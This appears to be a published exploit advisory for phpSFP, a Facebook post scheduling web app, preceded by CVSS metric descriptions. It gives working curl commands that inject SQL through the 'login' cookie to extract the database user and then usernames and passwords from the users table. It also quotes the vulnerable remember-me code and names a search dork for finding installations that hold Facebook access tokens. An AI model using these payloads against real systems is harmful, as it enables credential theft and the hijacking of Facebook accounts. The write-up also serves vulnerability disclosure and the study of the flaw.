The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
High
PR
The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

[+] Description
============================================================
phpSFP – is a Platform where you can easily manage your scheduling for all
your (Facebook) pages & groups in one place.
It helps to send messages, ads, events, news and so on. phpSFP is pretty
popular more than its sale record thanks to nulled group (underground
WebApp license crackers).
[+] Background <3
============================================================
I managed to track down a group of Vietnam-based Facebook spammer which
posted ads on many FB groups I'm joined.
And ended up with a website that is modified version (all phpSFP credits
are removed) of phpSFP 1.4.1.
so I did some matching and found the original application is phpSFP.
Guess what happens when spammer mess up with offsec guy ;)
[+] Exploit
============================================================
There are many possible ways to do SQLi, I will go with error-based which
enabled by default on phpSFP xD
$ curl http://path.to.phpsfp/index.php/login -b "login=1|||1' or
extractvalue(rand(),concat(0x2e,user())) or '1|||1"
in case you don't know, for further queries you have to change 'user()' to
something else, e.g.
$ curl http://path.to.phpsfp/index.php/login -b "login=1|||1' or
extractvalue(rand(),concat(0x2e,(select concat_ws(0x3a,username,password)
from users limit 1))) or '1|||2"
don't forgot to do length()/substr() stuffs due to limitation of 32
characters in error message

[+] Vulnerability Analysis
============================================================
I have analyzed on 1.5.6 (latest version) and 1.4.1 (a popular edition
released by nulled group)
The bug itself is quite interesting.. the author did well in login function
but failed
to parameterized/escape SQL query in 'remember me' function in
authentication phrase.
; phpSFP 1.5.6
File: application/models/auth.php
function cookie()
{
if(get_cookie('login')) <-- if 'login' cookie is setted
{
list($id_user, $password, $access) = explode("|||",
get_cookie('login')); <-- split by |||
// the magic happens here
$qusers = $this->db->query("SELECT id FROM users WHERE
id='".$id_user."' AND password='".$password."'");
; phpSFP 1.4.1, same thing but in different file
File: application/controllers/login.php
public function index()
{
if(get_cookie('login')) <-- if 'login' cookie is setted
{
list($id_user, $password, $access) = explode("|||",
get_cookie('login')); <-- split by |||
// the magic happens here
$qusers = $this->db->query("SELECT id FROM users WHERE
id='".$id_user."' AND password='".$password."'");
[+] Warning
============================================================
Please DO NOT Google dork with intitle:"phpSFP - Schedule facebook posts v."
because there are ton of Facebook access_token in phpSFP database which can
be used for hijack many Facebook accounts =|
